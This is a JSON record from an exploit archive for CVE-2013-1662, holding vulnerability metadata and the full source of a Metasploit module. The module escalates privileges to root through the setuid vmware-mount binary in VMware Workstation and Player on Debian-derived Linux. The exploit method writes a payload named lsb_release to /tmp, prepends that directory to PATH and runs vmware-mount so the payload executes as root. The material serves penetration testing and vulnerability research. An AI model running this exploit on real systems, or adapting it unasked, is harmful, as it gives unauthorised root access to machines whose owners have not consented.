{"exploit":{"id":"MSF-linux--local--vmware_mount","name":"VMWare Setuid vmware-mount Unsafe popen(3)","description":"VMWare Workstation (up to and including 9.0.2 build-1031769) and Player have a setuid executable called vmware-mount that invokes lsb_release in the PATH with popen(3). Since PATH is user-controlled, and the default system shell on Debian-derived distributions does not drop privs, we can put an arbitrary payload in an executable called lsb_release and have vmware-mount happily execute it as root for us.","cves":["CVE-2013-1662"],"author":"Tavis Ormandy, egypt","published":"2013-08-22","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/linux/local/vmware_mount.rb","path":"modules/exploits/linux/local/vmware_mount.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"vmware_mount.rb","vulnerabilities":[{"id":"CVE-2013-1662","state":"PUBLISHED","title":null,"titleSource":null,"description":"vmware-mount in VMware Workstation 8.x and 9.x and VMware Player 4.x and 5.x, on systems based on Debian GNU/Linux, allows host OS users to gain host OS privileges via a crafted lsb_release binary in a directory in the PATH, related to use of the popen library function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-1662","cvss":{"version":"2.0","baseScore":6.9,"severity":"medium","vectorString":"AV:L/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-1662"},"updatedAt":"2024-09-17T04:29:37.889Z","retrievedAt":"2026-11-27T19:06:31.122Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--local--vmware_mount.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--local--vmware_mount","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--vmware_mount/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--vmware_mount/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::EXE\n  include Msf::Post::File\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',\n          'Description' => %q{\n            VMWare Workstation (up to and including 9.0.2 build-1031769)\n            and Player have a setuid executable called vmware-mount that\n            invokes lsb_release in the PATH with popen(3). Since PATH is\n            user-controlled, and the default system shell on\n            Debian-derived distributions does not drop privs, we can put\n            an arbitrary payload in an executable called lsb_release and\n            have vmware-mount happily execute it as root for us.\n          },\n          'License' => MSF_LICENSE,\n          'Author' => [\n            'Tavis Ormandy', # Vulnerability discovery and PoC\n            'egypt' # Metasploit module\n          ],\n          'Platform' => [ 'linux' ],\n          'Arch' => ARCH_X86,\n          'Targets' => [\n            [ 'Automatic', {} ],\n          ],\n          'DefaultOptions' => {\n            'PrependSetresuid' => true,\n            'PrependSetresgid' => true,\n            'PrependFork' => true\n          },\n          'Privileged' => true,\n          'DefaultTarget' => 0,\n          'References' => [\n            [ 'CVE', '2013-1662' ],\n            [ 'OSVDB', '96588' ],\n            [ 'BID', '61966'],\n            [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],\n            [ 'URL', 'http://web.archive.org/web/20130831060036/http://www.vmware.com:80/support/support-resources/advisories/VMSA-2013-0010.html' ],\n            [ 'URL', 'https://www.rapid7.com/blog/post/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]\n          ],\n          'DisclosureDate' => '2013-08-22',\n          'Notes' => {\n            'Stability' => [CRASH_SAFE],\n            'Reliability' => [REPEATABLE_SESSION],\n            'SideEffects' => [ARTIFACTS_ON_DISK]\n          }\n        }\n      )\n    )\n    register_advanced_options [\n      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])\n    ]\n  end\n\n  def vmware_mount\n    '/usr/bin/vmware-mount'\n  end\n\n  def check\n    return CheckCode::Safe(\"#{vmware_mount} file not found\") unless file? vmware_mount\n    return CheckCode::Safe(\"#{vmware_mount} is not setuid\") unless setuid? vmware_mount\n\n    CheckCode::Appears('Target appears to be vulnerable')\n  end\n\n  def exploit\n    unless check == CheckCode::Appears\n      fail_with(Failure::NotVulnerable, \"vmware-mount doesn't exist or is not setuid\")\n    end\n\n    lsb_path = File.join(datastore['WritableDir'], 'lsb_release')\n    write_file(lsb_path, generate_payload_exe)\n    cmd_exec(\"chmod +x #{lsb_path}\")\n    cmd_exec(\"PATH=#{datastore['WritableDir']}:$PATH #{vmware_mount}\")\n    # Delete it here instead of using FileDropper because the original\n    # session can clean it up\n    cmd_exec(\"rm -f #{lsb_path}\")\n  end\nend\n","sha256":"887c45f37098e3092919fc187d5088e923641e302b6802b711ffbd965e2de018","bytes":3173,"fetchedAt":"2026-11-27T19:06:27.941Z","encoding":"utf-8 (display only; download retains original bytes)"}